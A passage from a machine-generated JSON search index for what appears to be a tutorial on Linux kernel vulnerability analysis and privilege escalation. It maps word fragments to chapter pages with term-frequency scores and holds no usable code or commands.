hapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.0012782275244993609},"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0011594202898550724},"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0019011406844106464},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0011201344161299357}},"l":{"docs":{},"y":{"docs":{},",":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.0021691973969631237}}}}},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}},"_":{"docs":{},"t":{"docs":{},"h":{"docs":{},"r":{"docs":{},"e":{"docs":{},"a":{"docs":{},"d":{"docs":{},"_":{"docs":{},"i":{"docs":{},"n":{"docs":{},"f":{"docs":{},"o":{"docs":{},"(":{"docs":{},")":{"docs":{},")":{"docs":{},",":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}}}}}}}}}},"p":{"docs":{},"i":{"docs":{},"d":{"docs":{},":":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}}}}},"_":{"docs":{},"c":{"docs":{},"h":{"docs":{},"a":{"docs":{},"i":{"docs":{},"n":{"docs":{},"_":{"docs":{},"k":{"docs":{},"e":{"docs":{},"y":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}}}},"r":{"docs":{},"e":{"docs":{},"t":{"docs":{},"_":{"docs":{},"s":{"docs":{},"t":{"docs":{},"a":{"docs":{},"c":{"docs":{},"k":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}}}}}}},"s":{"docs":{},"t":{"docs":{},"o":{"docs":{},"m":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.006507592190889371},"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.002318840579710145},"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.005703422053231939},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0005706134094151213}}}}}}},"v":{"docs":{},"e":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.0021691973969631237},"chapters/vulnerability-discovery.html":{"ref":"chapters/vulnerability-discovery.html","tf":0.00641025641025641},"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0052173913043478265},"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0019011406844106464},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0014265335235378032},"chapters/resources.html":{"ref":"chapters/resources.html","tf":0.0375}}}},"a":{"docs":{},"c":{"docs":{},"h":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694},"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0017391304347826088},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0005600672080649678}},"i":{"docs":{},"n":{"docs":{},"g":{"docs":{},":":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}},"e":{"docs":{},".":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}},"l":{"docs":{},"l":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.0012782275244993609},"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0017391304347826088},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.016833095577746076},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.008120974516942034}},"b":{"docs":{},"a":{"docs":{},"c":{"docs":{},"k":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0011412268188302425}},"_":{"docs":{},"h":{"docs":{},"e":{"docs":{},"a":{"docs":{},"d":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.0008521516829995739}}}}}}}}}}},"s":{"docs":{},".":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}},".":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0011201344161299357}}},"e":{"docs":{},"d":{"docs":{},".":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}},",":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}},"r":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0005706134094151213}}}},",":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}},"c":{"docs":{},"u":{"docs":{},"l":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}},"n":{"docs":{},"a":{"docs":{},"r":{"docs":{},"i":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}},"'":{"docs":{},"t":{"docs":{"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0019011406844106464},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}},"d":{"docs":{},"i":{"docs":{},"d":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}},"p":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.0017043033659991478}},"_":{"docs":{},"a":{"docs":{},"m":{"docs":{},"b":{"docs":{},"i":{"docs":{},"e":{"docs":{},"n":{"docs":{},"t":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}},"b":{"docs":{},"s":{"docs":{},"e":{"docs":{},"t":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}},"e":{"docs":{},"f":{"docs":{},"f":{"docs":{},"e":{"docs":{},"c":{"docs":{},"t":{"docs":{},"i":{"docs":{},"v":{"docs":{},"e":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}}},"m":{"docs":{},"p":{"docs":{},"t":{"docs":{},"y":{"docs":{},"_":{"docs":{},"s":{"docs":{},"e":{"docs":{},"t":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}},",":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}}}},"f":{"docs":{},"u":{"docs":{},"l":{"docs":{},"l":{"docs":{},"_":{"docs":{},"s":{"docs":{},"e":{"docs":{},"t":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}},",":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.0012782275244993609}}}}}}}}}}},"i":{"docs":{},"n":{"docs":{},"h":{"docs":{},"e":{"docs":{},"r":{"docs":{},"i":{"docs":{},"t":{"docs":{},"a":{"docs":{},"b":{"docs":{},"l":{"docs":{},"e":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}}}}}},"p":{"docs":{},"e":{"docs":{},"r":{"docs":{},"m":{"docs":{},"i":{"docs":{},"t":{"docs":{},"t":{"docs":{},"e":{"docs":{},"d":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}}}}},"a":{"docs":{},"b":{"docs":{},"l":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.0008521516829995739}}}},"c":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0005600672080649678}},"i":{"docs":{},"t":{"docs":{},"y":{"docs":{},"\\":{"docs":{},"n":{"docs":{},"\"":{"docs":{},")":{"docs":{},";":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}}}}}}}}},"t":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}},"c":{"docs":{},"h":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}},"u":{"docs":{},"s":{"docs":{"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0019011406844106464},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":3.3341892534474558},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}},"s":{"docs":{},"e":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0011412268188302425}},".":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}},"?":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}},"d":{"docs":{},"d":{"docs":{},"r":{"docs":{},"_":{"docs":{},"t":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}}},"r":{"docs":{},"e":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}},"g":{"docs":{},"_":{"docs":{},"l":{"docs":{},"i":{"docs":{},"s":{"docs":{},"t":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}},"r":{"docs":{},"o":{"docs":{},"u":{"docs":{},"p":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}},"s":{"docs":{},"s":{"docs":{},"_":{"docs":{},"s":{"docs":{},"e":{"docs":{},"t":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}},"_":{"docs":{},"l":{"docs":{},"o":{"docs":{},"c":{"docs":{},"k":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}},":":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}}}}}},"c":{"docs":{},"=":{"docs":{},"c":{"docs":{},"l":{"docs":{},"a":{"docs":{},"n":{"docs":{},"g":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}}}},"m":{"docs":{},"d":{"docs":{},":":{"docs":{"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0019011406844106464}}},",":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}},"t":{"docs":{},"r":{"docs":{},"l":{"docs":{},"+":{"docs":{},"c":{"docs":{"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0019011406844106464},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}},"l":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}},"i":{"docs":{},"r":{"docs":{},"c":{"docs":{},"u":{"docs":{},"l":{"docs":{},"a":{"docs":{},"r":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}}}}},"e":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.004057971014492754},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0005706134094151213}},"x":{"docs":{"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0019011406844106464},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}},"p":{"docs":{},"l":{"docs":{},"o":{"docs":{},"i":{"docs":{},"t":{"docs":{"./":{"ref":"./","tf":0.1},"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.004338394793926247},"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.0008521516829995739},"chapters/vulnerability-discovery.html":{"ref":"chapters/vulnerability-discovery.html","tf":0.003205128205128205},"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":10.003080369644357},"chapters/resources.html":{"ref":"chapters/resources.html","tf":0.025}},"s":{"docs":{},",":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}},".":{"docs":{"chapters/vulnerability-discovery.html":{"ref":"chapters/vulnerability-discovery.html","tf":0.003205128205128205}},"h":{"docs":{},"t":{"docs":{},"m":{"docs":{},"l":{"docs":{"chapters/vulnerability-discovery.html":{"ref":"chapters/vulnerability-discovery.html","tf":0.003205128205128205},"chapters/resources.html":{"ref":"chapters/resources.html","tf":0.0125}}}}}}},"/":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}},"a":{"docs":{},"t":{"docs":{},"i":{"docs":{},"o":{"docs":{},"n":{"docs":{},".":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}},",":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}}}},"e":{"docs":{},"d":{"docs":{},".":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}}},"i":{"docs":{},"c":{"docs":{},"i":{"docs":{},"t":{"docs":{},"l":{"docs":{},"i":{"docs":{"chapters/vulnerability-discovery.html":{"ref":"chapters/vulnerability-discovery.html","tf":0.003205128205128205},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}},"y":{"docs":{},",":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}}}}},"o":{"docs":{},"n":{"docs":{},"e":{"docs":{},"n":{"docs":{},"t":{"docs":{},"i":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}},"e":{"docs":{},"c":{"docs":{},"t":{"docs":{},"e":{"docs":{},"d":{"docs":{},":":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0016802016241949033}}},"b":{"docs":{},"y":{"docs":{},"t":{"docs":{},"e":{"docs":{},"s":{"docs":{},"r":{"docs":{},"e":{"docs":{},"c":{"docs":{},"e":{"docs":{},"i":{"docs":{},"v":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}},"e":{"docs":{},"d":{"docs":{},")":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}},";":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}}}}}}}}}}}}},"p":{"docs":{},"i":{"docs":{},"d":{"docs":{},":":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}}}}}}}},"t":{"docs":{},"e":{"docs":{},"n":{"docs":{},"t":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.0021691973969631237}}},"s":{"docs":{"chapters/resources.html":{"ref":"chapters/resources.html","tf":0.0125}}}}},"r":{"docs":{},"a":{"docs":{},"_":{"docs":{},"c":{"docs":{},"m":{"docs":{},"d":{"docs":{},"s":{"docs":{},"=":{"docs":{},"'":{"docs":{},"'":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}}}}}}}},"c":{"docs":{},"l":{"docs":{},"u":{"docs":{},"d":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}},"e":{"docs":{},"p":{"docs":{},"t":{"docs":{},"i":{"docs":{},"o":{"docs":{},"n":{"docs":{},"_":{"docs":{},"s":{"docs":{},"t":{"docs":{},"a":{"docs":{},"c":{"docs":{},"k":{"docs":{"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0019011406844106464},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}}}}}}}}}},"e":{"docs":{},"c":{"docs":{},"u":{"docs":{},"t":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}},"e":{"docs":{},"d":{"docs":{},".":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}},"v":{"docs":{},"e":{"docs":{},"(":{"docs":{},")":{"docs":{},":":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}},"i":{"docs":{},"t":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694},"chapters/vulnerability-discovery.html":{"ref":"chapters/vulnerability-discovery.html","tf":0.003205128205128205},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0005600672080649678}},"(":{"docs":{},")":{"docs":{},",":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}},"e":{"docs":{},"x":{"docs":{},"i":{"docs":{},"t":{"docs":{},"_":{"docs":{},"f":{"docs":{},"a":{"docs":{},"i":{"docs":{},"l":{"docs":{},"u":{"docs":{},"r":{"docs":{},"e":{"docs":{},")":{"docs":{},";":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.002520302436292355}}}}}}}}}}},"s":{"docs":{},"u":{"docs":{},"c":{"docs":{},"c":{"docs":{},"e":{"docs":{},"s":{"docs":{},"s":{"docs":{},")":{"docs":{},";":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0005600672080649678}}}}}}}}}}}}}}}}},"_":{"docs":{},"c":{"docs":{},"o":{"docs":{},"d":{"docs":{},"e":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}},"s":{"docs":{},"i":{"docs":{},"g":{"docs":{},"n":{"docs":{},"a":{"docs":{},"l":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}},"t":{"docs":{},"a":{"docs":{},"t":{"docs":{},"e":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}},"t":{"docs":{},"a":{"docs":{},"s":{"docs":{},"k":{"docs":{},"_":{"docs":{},"w":{"docs":{},"o":{"docs":{},"r":{"docs":{},"k":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}}}}}},"g":{"docs":{},"r":{"docs":{},"o":{"docs":{},"u":{"docs":{},"p":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0008559201141226819}}}}}}}},"s":{"docs":{},",":{"docs":{"chapters/vulnerability-discovery.html":{"ref":"chapters/vulnerability-discovery.html","tf":0.003205128205128205},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}},".":{"docs":{"chapters/vulnerability-discovery.html":{"ref":"chapters/vulnerability-discovery.html","tf":0.00641025641025641},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}},"s":{"docs":{},"t":{"docs":{},".":{"docs":{"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0019011406844106464}}}}}},"a":{"docs":{},"c":{"docs":{},"t":{"docs":{},"l":{"docs":{},"i":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0014265335235378032}}}}}}}},"a":{"docs":{},"s":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.0021691973969631237}}},"c":{"docs":{},"h":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.0008521516829995739},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}},"r":{"docs":{},"l":{"docs":{},"i":{"docs":{},"e":{"docs":{},"r":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}}}},"m":{"docs":{},"u":{"docs":{},"l":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.004338394793926247},"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694},"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0011594202898550724},"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.005703422053231939},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0005706134094151213}},"a":{"docs":{},"t":{"docs":{},"o":{"docs":{},"r":{"docs":{},",":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}}},".":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362},"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0038022813688212928},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}}}},"b":{"docs":{},"e":{"docs":{},"d":{"docs":{"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0019011406844106464}}}}},"p":{"docs":{},"t":{"docs":{},"y":{"docs":{},".":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}}},"n":{"docs":{},"g":{"docs":{},"i":{"docs":{},"n":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.0021691973969631237},"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0019011406844106464},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0005706134094151213}}}}},"o":{"docs":{},"u":{"docs":{},"g":{"docs":{},"h":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.0021691973969631237}}}}},"e":{"docs":{},"n":{"docs":{},"t":{"docs":{},";":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}},"m":{"docs":{},"e":{"docs":{},"m":{"docs":{},";":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0005706134094151213}}}}}}},"v":{"docs":{},"i":{"docs":{},"r":{"docs":{},"o":{"docs":{},"n":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":5.006507592190889}}}}}}},"a":{"docs":{},"b":{"docs":{},"l":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0005600672080649678}},"e":{"docs":{},"d":{"docs":{},",":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}},".":{"docs":{"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0038022813688212928}}}}}}}},"d":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.0008521516829995739},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}},"f":{"docs":{},"o":{"docs":{},"r":{"docs":{},"c":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.002982530890498509},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0011201344161299357}}}}}},"h":{"docs":{},"a":{"docs":{},"n":{"docs":{},"c":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}},"u":{"docs":{},"m":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}},"t":{"docs":{},"r":{"docs":{},"y":{"docs":{},"_":{"docs":{},"s":{"docs":{},"y":{"docs":{},"s":{"docs":{},"c":{"docs":{},"a":{"docs":{},"l":{"docs":{},"l":{"docs":{},"_":{"6":{"4":{"docs":{},"_":{"docs":{},"a":{"docs":{},"f":{"docs":{},"t":{"docs":{},"e":{"docs":{},"r":{"docs":{},"_":{"docs":{},"h":{"docs":{},"w":{"docs":{},"f":{"docs":{},"r":{"docs":{},"a":{"docs":{},"m":{"docs":{},"e":{"docs":{},"+":{"0":{"docs":{},"x":{"3":{"docs":{},"d":{"docs":{},"/":{"0":{"docs":{},"x":{"docs":{},"a":{"2":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0034782608695652175},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0008559201141226819}}},"docs":{}}}},"docs":{}}}},"docs":{}}},"docs":{}}}}}}}}}}}}}}}}},"docs":{}},"docs":{}}}}}}}}}}},"i":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}},"e":{"docs":{},"r":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}},"s":{"docs":{},"u":{"docs":{},"r":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0011201344161299357}}}}},"c":{"docs":{},"o":{"docs":{},"u":{"docs":{},"n":{"docs":{},"t":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}}}},"f":{"docs":{},"f":{"docs":{},"e":{"docs":{},"c":{"docs":{},"t":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.0012782275244993609}},"i":{"docs":{},"v":{"docs":{},"e":{"docs":{},"l":{"docs":{},"y":{"docs":{},",":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}}}}}}}},"l":{"docs":{},"a":{"docs":{},"g":{"docs":{},"s":{"docs":{},":":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0011594202898550724}}}}}}},"a":{"docs":{},"u":{"docs":{},"l":{"docs":{},"t":{"docs":{},";":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf"